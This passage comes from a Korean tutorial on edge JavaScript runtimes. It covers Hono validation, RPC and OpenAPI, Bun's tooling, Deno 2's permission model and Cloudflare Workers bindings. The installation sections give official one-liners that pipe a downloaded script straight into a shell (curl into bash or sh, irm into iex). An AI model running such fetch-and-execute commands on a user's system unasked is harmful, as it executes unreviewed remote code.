왜 Express 에서는 됐나 — 프로세스가 하나였기 때문입니다. 엣지는 도시마다 · 요청마다 아이솔레이트가 따로 뜹니다. 모듈 최상단 변수는 “캐시”로만 쓰고, 정확성이 걸린 값은 절대 두지 마세요.

② 무거운 초기화를 최상단에 두지 마세요

// ❌ 모듈 최상단 — 모든 요청 경로의 콜드 스타트에 얹힙니다
import { heavyThing } from "big-lib";
const parsed = buildHugeTable();          // 200ms

// ✅ 필요한 라우트 안에서 지연 로딩
app.get("/report", async (c) => {
  const { renderPdf } = await import("./pdf");   // 이 경로만 비용을 냅니다
  return c.body(await renderPdf(), 200, { "content-type": "application/pdf" });
});

// ✅ 한 번만 만들면 되는 것은 "게으른 싱글턴"으로
let cached: Table | undefined;
const table = () => (cached ??= buildHugeTable());

③ 미들웨어 개수가 곧 지연입니다

미들웨어엣지에서
logger()운영에선 끄고 플랫폼 로그를 쓰세요
compress()Workers 는 불필요 (이중 압축)
prettyJSON()개발에서만
etag()본문을 다 읽어야 해서 스트리밍과 상극
secureHeaders()가볍습니다 — 항상 켜세요
미들웨어는 “모든 요청이 내는 세금”입니다. Express 에서는 프로세스가 떠 있어서 티가 안 났지만, 엣지에서는 요청마다 체인 전체를 다시 만듭니다. 경로를 좁혀 붙이는 습관(app.use("/api/*", ...))이 그대로 성능이 됩니다.
정리 — Hono 미들웨어는 async (c, next) => { …전 ; await next() ; …후 } 한 모양입니다. 요청 범위 값은 c.set/c.get, 플랫폼 자원은 c.env, 타입은 new Hono<{ Bindings, Variables }>() 로 붙입니다. Express 의 전역 타입 확장과 res.on("finish") 가 둘 다 사라집니다.
EDGE 04

검증 · RPC · OpenAPI — 타입을 프런트까지

Express + Zod 로도 서버 안쪽은 타입이 맞았습니다. 하지만 프런트가 부를 때는 주소 문자열과 as 캐스팅으로 돌아갔습니다. Hono 는 라우트 정의 그 자체를 타입으로 내보내 그 마지막 구멍을 막습니다.

Hono RPC — 라우트의 타입이 프런트로 그대로 건너갑니다 서버 — src/routes.ts const route = app.post( "/posts", zValidator("json", S), (c) => c.json({ id: 1 }, 201)) export type AppType = typeof route 타입 → ← 요청 프런트 — src/api.ts const c = hc<AppType>(BASE) await c.posts.$post({ json: { title: "안녕" } }) 경로 · 본문 · 응답이 전부 추론 건너가는 것은 타입뿐 — 번들에 실리는 코드는 0바이트입니다 타입 검사할 때만 쓰이고, 실행 시점에는 그냥 fetch 한 번입니다. 스키마 파일을 따로 배포할 필요가 없습니다 tRPC 전용 프로토콜 · 양쪽에 런타임이 필요 curl · 외부 연동 · 웹훅에 불리합니다 대신 미들웨어·구독 모델이 풍부합니다 Hono RPC 평범한 REST 그대로 · curl 로도 부릅니다 클라이언트 런타임은 hc 하나뿐 라우트가 아주 많으면 추론이 느려집니다
“API 주소를 문자열로 적고 응답을 as 로 캐스팅하던 자리”가 통째로 사라집니다.

요청 검증 — @hono/zod-validator

npm i zod @hono/zod-validator
import { z } from "zod";
import { zValidator } from "@hono/zod-validator";

const CreatePost = z.object({
  title: z.string().min(1).max(120),
  body:  z.string().min(1),
  tags:  z.array(z.string()).max(5).default([]),
});

const ListQuery = z.object({
  page: z.coerce.number().int().min(1).default(1),   // "2" → 2
  size: z.coerce.number().int().min(1).max(100).default(20),
});

app.post("/posts", zValidator("json", CreatePost), async (c) => {
  const dto = c.req.valid("json");     // ★ 검증·변환이 끝난 값 (타입 붙음)
  return c.json(await create(dto), 201);
});

app.get("/posts", zValidator("query", ListQuery), async (c) => {
  const { page, size } = c.req.valid("query");   // number 로 들어옵니다
  return c.json(await list(page, size));
});

// 검증할 수 있는 자리: "json" | "form" | "query" | "param" | "header" | "cookie"
app.get("/posts/:id",
  zValidator("param", z.object({ id: z.coerce.number().int() })),
  (c) => c.json({ id: c.req.valid("param").id }));
Express 판(🚂 Express x05)과 다른 점 — 그쪽은 req.body 를 덮어써서 검증 결과를 넘겼습니다. Hono 는 c.req.valid("json") 이라는 별도 통로로 줍니다. 원본을 안 건드리므로 타입이 정확하고 뒤늦게 헷갈릴 일이 없습니다.

실패했을 때 응답 모양 통일하기

// 기본값은 { success: false, error: ZodError } 를 400 으로 돌려줍니다.
// 팀 규칙에 맞추려면 세 번째 인자(hook)를 씁니다 ★
const jsonV = <T extends z.ZodTypeAny>(schema: T) =>
  zValidator("json", schema, (result, c) => {
    if (!result.success) {
      return c.json({
        code: "VALIDATION_ERROR",
        message: "입력값이 올바르지 않습니다",
        errors: result.error.issues.map((i) => ({
          field: i.path.join("."),
          message: i.message,
        })),
      }, 400);
    }
  });

app.post("/posts", jsonV(CreatePost), handler);

// 응답도 검증하고 싶다면 — 비밀번호 해시 유출 사고를 막습니다
const PublicUser = z.object({ id: z.string(), name: z.string() });
app.get("/me", (c) => c.json(PublicUser.parse(c.get("user"))));
Zod 는 정의하지 않은 필드를 기본적으로 잘라냅니다. 그래서 { "role": "admin" } 을 끼워 넣어도 스키마에 없으면 통과하지 못합니다(Mass Assignment 방어). 이 성질을 믿고 DB 에 c.req.valid() 결과만 넘기세요.

RPC — 프런트가 서버 타입을 그대로 씁니다 🟡 중급

서버 — 라우트를 이어 붙여 내보냅니다

// src/routes/posts.ts
import { Hono } from "hono";
import { zValidator } from "@hono/zod-validator";

// ★ RPC 는 "체이닝된 결과"의 타입을 씁니다 — 따로따로 쓰면 타입이 안 모입니다
const posts = new Hono()
  .get("/", zValidator("query", ListQuery), async (c) => {
    const { page, size } = c.req.valid("query");
    return c.json({ items: await list(page, size), page });
  })
  .post("/", zValidator("json", CreatePost), async (c) => {
    return c.json(await create(c.req.valid("json")), 201);
  })
  .get("/:id", async (c) => {
    const p = await find(c.req.param("id"));
    if (!p) return c.json({ message: "없습니다" }, 404);
    return c.json(p);
  });

export default posts;

// src/index.ts
const routes = app.route("/api/posts", posts);
export type AppType = typeof routes;      // ★ 이 한 줄이 계약서입니다
export default app;
가장 흔한 실수 — 체이닝을 끊는 것. posts.get(...); posts.post(...); 처럼 따로 쓰면 typeof posts 에 마지막 것만 남습니다. 반드시 .get().post().get() 으로 이어서 쓰세요.

프런트 — hc 하나면 끝

// packages/web/src/api.ts
import { hc } from "hono/client";
import type { AppType } from "@my/api";      // ★ 타입만 import (런타임 0)

export const api = hc<AppType>("https://api.example.com", {
  headers: () => ({ authorization: `Bearer ${getToken()}` }),
});

// 호출 — 경로가 객체 속성이 됩니다
const res = await api.api.posts.$post({
  json: { title: "안녕", body: "본문" },     // ✅ 스키마와 다르면 컴파일 에러
});
if (res.ok) {
  const created = await res.json();          // ✅ 타입 추론됨
}

// 경로 변수
const one = await api.api.posts[":id"].$get({ param: { id: "3" } });

// 쿼리
const listed = await api.api.posts.$get({ query: { page: "2", size: "20" } });

// 요청·응답 타입을 따로 꺼내 쓰기 (폼 타입 등에)
import type { InferRequestType, InferResponseType } from "hono/client";
type CreateReq = InferRequestType<typeof api.api.posts.$post>["json"];
type PostList  = InferResponseType<typeof api.api.posts.$get>;

// URL 만 필요할 때 (React Query key 등)
const url = api.api.posts.$url({ query: { page: "1" } }).toString();
모노레포가 아니어도 됩니다 — 서버 저장소에서 타입만 담은 패키지를 d.ts 로 뽑아 사내 레지스트리에 올리면 됩니다. 다만 같은 저장소에 두는 편이 압도적으로 편합니다 (🧰 도구 탭의 모노레포 절).

실무에선 이렇게 — OpenAPI 문서 자동 생성 🔴 실무

@hono/zod-openapi — 스키마 하나로 셋을

npm i @hono/zod-openapi @scalar/hono-api-reference
import { OpenAPIHono, createRoute, z } from "@hono/zod-openapi";
import { Scalar } from "@scalar/hono-api-reference";

const PostSchema = z.object({
  id:    z.string().openapi({ example: "p_01" }),
  title: z.string().openapi({ example: "첫 글" }),
}).openapi("Post");                       // ★ 문서에 나올 모델 이름

const getPost = createRoute({
  method: "get",
  path: "/posts/{id}",
  summary: "글 하나 가져오기",
  tags: ["posts"],
  request: {
    params: z.object({ id: z.string().openapi({ param: { name: "id", in: "path" } }) }),
  },
  responses: {
    200: { content: { "application/json": { schema: PostSchema } }, description: "성공" },
    404: { description: "없음" },
  },
});

const app = new OpenAPIHono();

app.openapi(getPost, async (c) => {        // ★ 핸들러 타입이 스키마와 묶입니다
  const { id } = c.req.valid("param");
  const p = await find(id);
  if (!p) return c.json({ message: "없음" }, 404);
  return c.json(p, 200);                   // ❌ 스키마와 다르면 컴파일 에러
});

app.doc("/openapi.json", { openapi: "3.1.0",
  info: { title: "My API", version: "1.0.0" } });
app.get("/docs", Scalar({ url: "/openapi.json" }));   // 문서 화면

셋 중 무엇을 고르나

쓰는 곳고를 것
우리 프런트만 부름RPC (hc) — 가장 가볍고 빠름
외부 팀·파트너가 부름zod-openapi — 문서가 계약서
둘 다zod-openapi + hc 병행 (가능합니다)
모바일 앱도 부름OpenAPI → 각 언어 코드 생성
서버가 Node 고정tRPC 도 후보 (생태계가 큼)
// 보안 스키마도 문서에 넣어야 "Try it" 이 동작합니다
app.openAPIRegistry.registerComponent("securitySchemes", "bearer", {
  type: "http", scheme: "bearer", bearerFormat: "JWT",
});

// 라우트마다 security 를 걸어 둡니다
const secured = createRoute({
  method: "post", path: "/posts",
  security: [{ bearer: [] }],
  request: { body: { content: { "application/json": { schema: CreatePost } } } },
  responses: { 201: { description: "생성됨" } },
});
라우트가 200개를 넘어가면 타입 추론이 눈에 띄게 느려집니다. 편집기가 버벅이면 라우터를 도메인별로 나눠 각각 AppType 을 내보내고, 프런트에서 hc 를 여러 개 만드세요. 한 덩어리로 두면 tsc 시간이 몇 배가 됩니다.
정리 — 스키마를 한 번만 적는 것이 이 절의 전부입니다. 같은 Zod 스키마가 런타임 검증 · 서버 타입 · 프런트 호출 타입 · OpenAPI 문서 네 가지가 됩니다. 우리 프런트만 부르면 RPC, 남이 부르면 zod-openapi, 그리고 체이닝을 끊지 않는 것만 지키면 됩니다.
EDGE 05

Bun — 런타임 하나가 도구 다섯을 대신합니다

Bun 은 “빠른 Node” 가 아니라 Node + 패키지 매니저 + 테스트 러너 + 번들러 + 파일 감시기 를 실행 파일 하나에 합친 물건입니다. 엔진도 V8 이 아니라 JavaScriptCore(사파리의 엔진)입니다. 그래서 “빨라졌다”보다 “설치할 게 없어졌다”가 체감이 큽니다.

Bun 은 도구 여러 개를 실행 파일 하나로 합친 것입니다 지금 쓰는 조합 (Node) node — 실행 npm · pnpm — 설치 tsx · ts-node — TS 실행 jest · vitest — 테스트 esbuild · tsup — 번들 nodemon — 감시 후 재시작 Bun 하나 bun run — TS 를 그대로 실행 bun install — 설치 bun test — Jest 호환 테스트 bun build — 번들 · --compile bun --hot — 재시작 없는 리로드 Bun.serve · bun:sqlite · Bun.file 같은 작업의 상대 시간 — 막대가 짧을수록 빠릅니다 패키지 설치 npm bun 서버 기동 node bun 테스트 실행 vitest bun test 숫자는 프로젝트마다 다릅니다 — 반드시 내 저장소에서 재 보세요 체감이 큰 곳은 CI 와 로컬 재시작입니다. HTTP 처리량 차이는 실제 앱에서 DB 대기에 묻히는 일이 많습니다
Bun 을 고르는 이유는 대개 속도보다 도구 개수가 줄어드는 것입니다.

설치하고 바로 써 보기

# macOS · Linux · WSL
curl -fsSL https://bun.sh/install | bash

# Windows (PowerShell) — WSL 없이도 됩니다
powershell -c "irm bun.sh/install.ps1 | iex"

# 이미 Node 가 있다면 npm 으로도
npm i -g bun

bun --version            # 1.x

# ① 실행 — .ts 를 그대로 (tsx 불필요)
bun run src/index.ts
bun src/index.ts         # run 도 생략 가능
bun --hot src/index.ts   # 저장하면 프로세스를 안 죽이고 갈아 끼웁니다 ★

# ② 설치 — package.json 을 그대로 읽습니다 (lockfile 은 bun.lock)
bun install
bun add hono
bun add -d @types/node
bun install --frozen-lockfile      # CI 에서

# ③ 스크립트 — package.json 의 scripts
bun run dev

# ④ 일회성 실행 (npx 자리)
bunx prisma migrate dev
bun --hot 과 nodemon 의 차이 — nodemon 은 프로세스를 죽이고 다시 띄웁니다(연결이 끊기고 상태가 날아감). --hot 은 같은 프로세스 안에서 모듈만 교체합니다. 서버 개발에서 이게 은근히 크게 다릅니다.

테스트 · 번들 · 단일 실행 파일

# ⑤ 테스트 — Jest 문법 그대로, 설정 파일 없이
bun test
bun test --watch
bun test --coverage
bun test src/user            # 경로 필터

# ⑥ 번들 — esbuild 자리
bun build src/index.ts --outdir dist --target node --minify
bun build src/index.ts --outdir dist --target browser

# ⑦ 단일 실행 파일 — 런타임까지 통째로 담습니다 ★
bun build src/cli.ts --compile --outfile mytool
./mytool                     # Bun 이 안 깔린 machine 에서도 실행됩니다
bun build src/cli.ts --compile --target=bun-linux-x64 --outfile mytool-linux
// 테스트는 Jest·Vitest 와 같은 모양입니다
import { describe, it, expect, beforeAll } from "bun:test";

describe("계산", () => {
  it("더합니다", () => {
    expect(1 + 1).toBe(2);
  });
});
--compile 의 파일 크기 — 런타임을 통째로 담으므로 결과물이 수십 MB 입니다. CLI 도구 배포에는 훌륭하지만 도커 이미지를 줄이려는 목적이라면 오히려 손해입니다(g12).

Bun 전용 API — 있으면 편한 것들 🟡 중급

서버 · 파일 · SQLite

// ① Bun.serve — 표준 fetch 모델 (그래서 Hono 가 그대로 얹힙니다)
import { Hono } from "hono";
const app = new Hono();
app.get("/", (c) => c.text("hi"));

export default { port: 3000, fetch: app.fetch };
//  $ bun src/index.ts

// ② Bun.file — 지연 읽기. 실제로 읽기 전에는 디스크를 안 건드립니다
const f = Bun.file("./data/big.json");
if (await f.exists()) {
  const json = await f.json();        // .text() .arrayBuffer() .stream()
}
await Bun.write("./out.txt", "내용");   // 문자열·Blob·Response 전부 받습니다
await Bun.write("./copy.json", Bun.file("./data/big.json"));   // 복사

// ③ bun:sqlite — 내장 SQLite (better-sqlite3 자리, 설치 불필요)
import { Database } from "bun:sqlite";
const db = new Database("app.db", { create: true });
db.run(`CREATE TABLE IF NOT EXISTS todo(
          id INTEGER PRIMARY KEY, title TEXT, done INTEGER DEFAULT 0)`);

const insert = db.prepare("INSERT INTO todo (title) VALUES (?)");
insert.run("장보기");
const rows = db.query("SELECT * FROM todo WHERE done = ?").all(0);

// ④ 비밀번호 해시 — bcrypt 설치 없이
const hash = await Bun.password.hash("비밀번호");        // argon2id 기본
const ok   = await Bun.password.verify("비밀번호", hash);

셸 · 환경변수 · 워커

// ⑤ Bun.$ — 크로스 플랫폼 셸 (zx 자리)
import { $ } from "bun";
const out = await $`git rev-parse --short HEAD`.text();
await $`mkdir -p dist && cp README.md dist/`;
const { exitCode } = await $`npm run lint`.nothrow();

// ⑥ .env 를 자동으로 읽습니다 (dotenv 불필요)
//    .env → .env.$NODE_ENV → .env.local 순으로 겹쳐 읽습니다 (뒤가 이김)
const url = Bun.env.DATABASE_URL ?? process.env.DATABASE_URL;

// ⑦ 워커 — CPU 작업 분리 (Node 의 worker_threads 자리)
const w = new Worker(new URL("./heavy.ts", import.meta.url).href);
w.postMessage({ n: 40 });
w.onmessage = (e) => console.log(e.data);

// ⑧ 내장 SQL 클라이언트 (Postgres)
import { sql } from "bun";
const rows = await sql`SELECT id, title FROM posts WHERE id = ${id}`;
전용 API 를 쓰면 그만큼 Bun 에 묶입니다. Bun.file 대신 node:fs/promises, Bun.$ 대신 node:child_process 를 쓰면 Node 로 되돌아갈 여지가 남습니다. 이식성이 중요하면 표준 API 우선, 속도가 급하면 전용 API 를 쓰세요.

실무에선 이렇게 — 어디까지 믿고 쓰나 🔴 실무

Node 호환 — 되는 것과 조심할 것

영역상태
node:fs·path·url사실상 문제없음
node:http 서버동작 — Express 도 돕니다
node:crypto대부분 동작
worker_threads동작 (일부 옵션 차이)
네이티브 애드온(N-API)패키지마다 다름 — 확인 필요
v8·vm·인스펙터엔진이 달라 제약
프로파일링·힙 스냅샷Node 도구 대부분 못 씁니다
APM 에이전트미지원이 많습니다 ★
운영에서 발목을 잡는 것은 문법이 아니라 주변 도구입니다. Datadog·New Relic·Sentry 프로파일러처럼 V8 훅에 붙는 도구는 JavaScriptCore 위에서 안 돕니다. “관측을 포기할 수 있는가”가 실제 도입 기준이 됩니다(g11).

단계적으로 들이는 순서 ★

단계바꾸는 것위험
1CI 의 npm ci → bun install거의 없음
2테스트를 bun test 로낮음
3로컬 개발 서버만 bun --hot낮음
4사내 도구·배치를 Bun 으로중간
5외부 서비스 런타임을 Bun 으로높음
# 단계 1 만 해도 CI 시간이 눈에 띄게 줄어듭니다
# .github/workflows/ci.yml
- uses: oven-sh/setup-bun@v2
  with: { bun-version: latest }
- run: bun install --frozen-lockfile
- run: bun test
- run: bun run build        # 배포는 여전히 node 로 해도 됩니다

# 런타임까지 옮길 때는 반드시 부하 테스트를 먼저
bunx autocannon -c 100 -d 30 http://localhost:3000/api/posts
2026년 기준 현실적인 답 — 패키지 매니저·테스트 러너로는 지금 당장 써도 좋고, 런타임 교체는 “장애가 나도 감당할 수 있는 서비스”부터입니다. 엣지에 올릴 코드라면 어차피 Workers 가 실행하므로 Bun 은 개발·CI 도구로만 쓰는 조합이 가장 흔합니다.
정리 — Bun 의 가치는 도구 통합입니다. bun install · bun test · bun --hot · bun build --compile 네 개만 써도 프로젝트가 가벼워집니다. Bun.serve 가 표준 fetch 모델이라 Hono 코드가 그대로 얹히고, 운영 도입은 CI → 로컬 → 사내 도구 → 외부 서비스 순서로 올리는 것이 안전합니다.
EDGE 06

Deno 2 — 기본값이 “아무것도 못 함”

Node 는 node a.js 를 치는 순간 그 스크립트가 내 홈 디렉터리를 읽고 어디로든 전송할 수 있었습니다. Deno 는 문을 하나씩 열어 줘야 움직입니다. 그리고 2 부터는 npm: 지정자로 기존 패키지를 거의 그대로 쓸 수 있습니다.

Deno 권한 모델 — 열어 준 문으로만 나갈 수 있습니다 권한 게이트 내 코드 deno run server.ts 네트워크 — --allow-net=api.example.com 파일 읽기 — --allow-read=./data 환경 변수 — --allow-env=API_KEY (이 키만) 파일 쓰기 — 안 열어 줬으므로 거부 자식 프로세스 실행 — 거부 네이티브 함수 호출(FFI) — 거부 npm 패키지도 같은 문 안에 있습니다 npm: 로 가져온 코드 역시 권한 밖으로 못 나갑니다 — 공급망 공격의 피해 범위가 줄어듭니다
보안 기능이라기보다 “이 프로그램이 무엇을 하는지 실행 명령만 봐도 안다”는 설계입니다.

설치와 권한 플래그

# 설치
curl -fsSL https://deno.land/install.sh | sh          # macOS · Linux
irm https://deno.land/install.ps1 | iex               # Windows
deno --version

# 권한 없이 실행하면 거부됩니다 (터미널이면 y/n 을 묻고, CI 처럼 비대화형이면 바로 에러)
deno run server.ts
#   error: Requires net access to "0.0.0.0:8000",
#   run again with the --allow-net flag

# 필요한 것만 열어 줍니다 ★ 범위를 좁힐 수 있습니다
deno run --allow-net=0.0.0.0:8000 server.ts      # 이 주소·포트만
deno run --allow-net=api.example.com app.ts      # 이 호스트만
deno run --allow-read=./data --allow-write=./tmp app.ts
deno run --allow-env=DATABASE_URL,JWT_SECRET app.ts

# 전부 열기 — 편하지만 의미가 사라집니다
deno run -A app.ts

# 반대로 "이것만 막기"
deno run -A --deny-write --deny-run app.ts

# 남이 만든 스크립트를 처음 돌릴 때는 물어보게 두세요
deno run --allow-net server.ts     # 나머지는 실행 중에 y/n 으로 물어봅니다
이게 실제로 값어치가 나는 순간 — npx 로 처음 보는 CLI 를 돌릴 때입니다. Node 에서는 그 도구가 내 SSH 키를 읽어 어디로 보내도 막을 방법이 없었습니다. Deno 는 --allow-read=. 만 주면 현재 폴더 밖으로 못 나갑니다.

deno.json — 설정을 한 파일에

{
  "tasks": {
    "dev": "deno run --watch --allow-net --allow-env src/main.ts",
    "start": "deno run --allow-net --allow-env src/main.ts",
    "test": "deno test --allow-net"
  },
  "imports": {
    "hono": "npm:hono@^4",
    "@hono/zod-validator": "npm:@hono/zod-validator@^0.7",
    "zod": "npm:zod@^4",
    "@std/assert": "jsr:@std/assert@^1"
  },
  "compilerOptions": { "strict": true, "jsx": "precompile" },
  "fmt":  { "lineWidth": 100, "singleQuote": false },
  "lint": { "rules": { "tags": ["recommended"] } },
  "exclude": ["dist", "coverage"]
}
deno task dev          # package.json 의 scripts 자리
deno install           # package.json 이 있으면 node_modules 도 만들어 줍니다
deno add npm:hono      # 의존성 추가 (deno.json 의 imports 에 기록)
deno add jsr:@std/http
Deno 1 시절의 URL import 는 잊으세요. import { serve } from "https://deno.land/std/http/server.ts" 방식은 버전 고정이 어려워 실무에서 문제가 많았습니다. 2 에서는 imports 맵 + npm:·jsr: 가 정답입니다.

내장 도구 — 설치할 것이 없습니다 🟡 중급

한 벌로 다 됩니다

deno fmt                 # prettier 자리 (설정 없이)
deno fmt --check         # CI 에서
deno lint                # eslint 자리
deno check src/main.ts   # tsc --noEmit 자리 (타입만 검사)

deno test --allow-net              # 테스트 러너
deno test --coverage=cov && deno coverage cov --html
deno bench                          # 벤치마크 러너 ★ 내장입니다
deno doc src/mod.ts                 # API 문서 추출

deno compile --allow-net --output myserver src/main.ts   # 단일 실행 파일
deno compile --target x86_64-unknown-linux-gnu \
             --allow-net --output myserver-linux src/main.ts
#   ★ 권한 플래그가 실행 파일에 구워집니다 — 받은 사람이 못 늘립니다

deno outdated --update   # 의존성 갱신
deno publish             # JSR 에 배포
// 테스트 — 설정 파일이 없습니다
import { assertEquals } from "@std/assert";
import { app } from "./app.ts";

Deno.test("헬스체크", async () => {
  const res = await app.request("/health");     // ★ Hono 의 테스트 방식 (g11)
  assertEquals(res.status, 200);
  assertEquals(await res.json(), { ok: true });
});

// 벤치마크
Deno.bench("라우팅", async () => { await app.request("/users/1"); });

Deno KV — DB 없이 시작하기

// 내장 키·값 저장소. 로컬은 SQLite, Deno Deploy 에서는 분산 저장소가 됩니다
const kv = await Deno.openKv();

// 키는 배열입니다 — 계층을 표현합니다
await kv.set(["user", "u_01"], { name: "지민", role: "admin" });
const { value } = await kv.get<User>(["user", "u_01"]);

// 접두사로 훑기
for await (const e of kv.list({ prefix: ["user"] })) console.log(e.key, e.value);

// 만료 시간 (캐시로 쓸 때)
await kv.set(["cache", url], html, { expireIn: 60_000 });

// ★ 원자적 갱신 — 낙관적 잠금(값이 그대로일 때만 씁니다)
const cur = await kv.get<number>(["count"]);
const res = await kv.atomic()
  .check(cur)                                   // 그 사이 안 바뀌었으면
  .set(["count"], (cur.value ?? 0) + 1)
  .commit();
if (!res.ok) { /* 누가 먼저 바꿨습니다 — 다시 시도 */ }

// 카운터는 전용 타입이 더 낫습니다 (충돌 없이 더해집니다)
await kv.atomic().sum(["hits", "/about"], 1n).commit();

// 큐도 내장 — 지연 실행·재시도까지
await kv.enqueue({ type: "email", to: "a@b.c" }, { delay: 5_000 });
kv.listenQueue(async (msg) => { await send(msg); });
Deno KV 는 관계형 DB 가 아닙니다. 조인·집계·자유로운 조회가 없고 키 설계가 곧 조회 방법입니다. 세션·설정·캐시·카운터에는 훌륭하고, “사용자 목록을 이름으로 검색” 같은 일이 필요해지는 순간 Postgres 로 가야 합니다(g09).

실무에선 이렇게 — Hono 를 Deno 에 올리기 🔴 실무

서버 한 파일

// src/main.ts
import { Hono } from "hono";
import { logger } from "hono/logger";
import { serveStatic } from "hono/deno";        // ★ Deno 전용 어댑터

const app = new Hono();
app.use(logger());
app.use("/static/*", serveStatic({ root: "./public" }));

const kv = await Deno.openKv();

app.get("/hits", async (c) => {
  const r = await kv.get<Deno.KvU64>(["hits"]);   // sum() 으로 쌓은 값은 KvU64
  return c.json({ hits: Number(r.value?.value ?? 0n) });
});

app.post("/hits", async (c) => {
  await kv.atomic().sum(["hits"], 1n).commit();
  return c.body(null, 204);
});

Deno.serve({ port: 8000 }, app.fetch);          // ★ 이 한 줄이 전부
deno run --allow-net --allow-read --unstable-kv src/main.ts
# Deno Deploy 에 올리면 KV 가 자동으로 분산 저장소가 됩니다 (g12)

Node · Bun 과 무엇이 다른가

NodeBunDeno 2
TS 실행기본 지원기본기본
기본 권한전부 허용전부 허용전부 차단
포맷·린트따로 설치따로내장
벤치마크따로bun bench 없음내장
단일 실행 파일SEA(번거로움)--compilecompile
내장 KV없음SQLiteDeno KV
패키지npmnpmnpm + JSR
표준 라이브러리node: 모듈node: 호환@std/* 별도
Deno 를 고르는 가장 현실적인 이유 세 가지 — ① 남의 코드를 돌려야 하는 도구·플러그인 실행기(권한이 그대로 샌드박스), ② 설정 파일 없이 시작하는 사내 스크립트, ③ Deno Deploy 에 얹어 KV 까지 공짜로 쓰는 소규모 서비스. 반대로 기존 Node 프로젝트를 통째로 옮길 이유는 거의 없습니다.
정리 — Deno 2 의 두 축은 권한 모델과 도구 내장입니다. --allow-net 같은 플래그가 “이 프로그램이 무엇을 하는지”를 실행 명령에 적어 두는 문서가 되고, fmt · lint · test · bench · compile 이 전부 들어 있어 설정 파일이 거의 안 생깁니다. npm: 지정자 덕에 기존 패키지도 대부분 그대로 쓰이며, Hono 는 Deno.serve(app.fetch) 한 줄로 얹힙니다.
EDGE 07

Cloudflare Workers — 컨테이너가 없는 서버

Workers 는 “아주 빠른 서버리스”가 아니라 구조가 다른 물건입니다. 컨테이너도 프로세스도 만들지 않고 이미 떠 있는 V8 안에 격리 공간(아이솔레이트)만 만듭니다. 그래서 콜드 스타트가 사라지는 대신 파일 시스템과 긴 실행 시간을 잃습니다.

콜드 스타트 — 첫 요청이 응답을 받기까지 컨테이너 방식 합계 약 560ms 컨테이너 기동 ~250ms 모듈 평가 ~150ms 런타임 시작 DB 커넥션 풀 핸들러 응답 아이솔레이트 방식 합계 약 20ms 이 정도밖에 안 됩니다 0 200 400 600 ms 위 초록 막대를 30배 확대하면 생성 · 복원 5ms 안팎 내 핸들러 실행 응답 컨테이너도 프로세스도 만들지 않습니다 — 이미 떠 있는 V8 안에 격리 공간만 만듭니다
콜드 스타트가 사라지는 이유는 최적화가 아니라 만드는 물건이 다르기 때문입니다.

wrangler — 만들고 돌리고 올리기

npm i -D wrangler          # 전역 설치보다 프로젝트에 두는 쪽을 권합니다
npx wrangler login         # 브라우저가 열립니다

# Hono 템플릿으로 시작
npm create hono@latest my-api   # → cloudflare-workers 선택

npx wrangler dev           # 로컬 (실제 워커 엔진 workerd 로 돕니다)
npx wrangler dev --remote  # 실제 엣지에서 실행 (진짜 바인딩을 씁니다)
npx wrangler deploy        # 배포 — 보통 몇 초
npx wrangler tail          # 운영 로그를 실시간으로 봅니다 ★
npx wrangler versions upload && npx wrangler versions deploy   # 점진 배포

# 시크릿 (코드·설정 파일에 넣지 않습니다)
npx wrangler secret put JWT_SECRET
npx wrangler secret list
// wrangler.jsonc
{
  "name": "my-api",
  "main": "src/index.ts",
  "compatibility_date": "2026-08-01",
  "compatibility_flags": ["nodejs_compat"],
  "observability": { "enabled": true },
  "vars": { "APP_ENV": "production" },
  "kv_namespaces":   [{ "binding": "KV", "id": "..." }],
  "d1_databases":    [{ "binding": "DB", "database_name": "app",
                        "database_id": "..." }],
  "r2_buckets":      [{ "binding": "BUCKET", "bucket_name": "uploads" }],
  "queues": { "producers": [{ "binding": "JOBS", "queue": "jobs" }] }
}
compatibility_date 를 반드시 적으세요. Workers 는 이 날짜로 런타임 동작을 고정합니다. 안 적거나 너무 옛날로 두면 새 API 가 없거나 옛 버그 동작이 유지됩니다. 올릴 때는 wrangler dev 로 확인 후 날짜를 올리세요.

아이솔레이트가 컨테이너와 다른 점

컨테이너아이솔레이트
격리 단위OS 프로세스V8 힙
시작 비용수백 ms~5ms
메모리수백 MB128MB 기준
CPU 시간제한 없음요청당 상한
파일 시스템있음없음
포트 열기가능불가
같이 도는 것내 코드만남의 코드와 같은 프로세스
배포 단위이미지(수백 MB)번들 몇 MB
“남의 코드와 같은 프로세스”가 왜 괜찮은가 — 브라우저가 탭마다 다른 사이트의 자바스크립트를 한 프로세스에서 돌리던 그 격리 기술을 그대로 씁니다. 대신 그래서 eval·new Function 같은 동적 코드 실행이 막혀 있습니다.

바인딩 — 엣지에서 상태를 두는 자리 🟡 중급

여섯 가지와 쓰임

바인딩정체 · 쓸 곳
KV전 세계에 복제되는 키·값. 읽기 압도적으로 빠름, 쓰기는 전파에 시간이 걸림 → 설정 · 캐시 · 세션
D1SQLite 기반 관계형 DB. SQL 그대로 → 보통의 앱 데이터
R2S3 호환 객체 저장소. 전송 요금 없음 → 파일 · 이미지
Durable Objects키마다 인스턴스 하나가 보장되는 상태 객체 → 채팅방 · 협업 · 순번 · WebSocket 허브
Queues비동기 작업 큐 → 메일 발송 · 후처리
Service다른 Worker 를 네트워크 없이 직접 호출
# 바인딩 타입을 자동 생성합니다 ★ 손으로 적지 마세요
npx wrangler types
#   → worker-configuration.d.ts 에 Env 인터페이스가 생깁니다

코드에서 쓰기 — c.env

import { Hono } from "hono";

type Env = {
  KV: KVNamespace;
  DB: D1Database;
  BUCKET: R2Bucket;
  JOBS: Queue<{ type: string; id: string }>;
  JWT_SECRET: string;          // wrangler secret put 으로 넣은 값
};

const app = new Hono<{ Bindings: Env }>();

app.get("/config", async (c) => {
  const v = await c.env.KV.get("feature-flags", "json");     // KV 읽기
  return c.json(v);
});

app.get("/posts", async (c) => {
  const { results } = await c.env.DB
    .prepare("SELECT id, title FROM posts WHERE published = ?1 LIMIT 20")
    .bind(1).all();                                          // D1 (SQL)
  return c.json(results);
});

app.put("/upload/:key", async (c) => {
  await c.env.BUCKET.put(c.req.param("key"), c.req.raw.body); // R2 (스트리밍)
  return c.body(null, 204);
});

app.post("/orders", async (c) => {
  const order = await save(c);
  // ★ 응답을 막지 않고 뒤에서 끝내기 — Express 에는 없던 개념
  c.executionCtx.waitUntil(c.env.JOBS.send({ type: "email", id: order.id }));
  return c.json(order, 201);
});
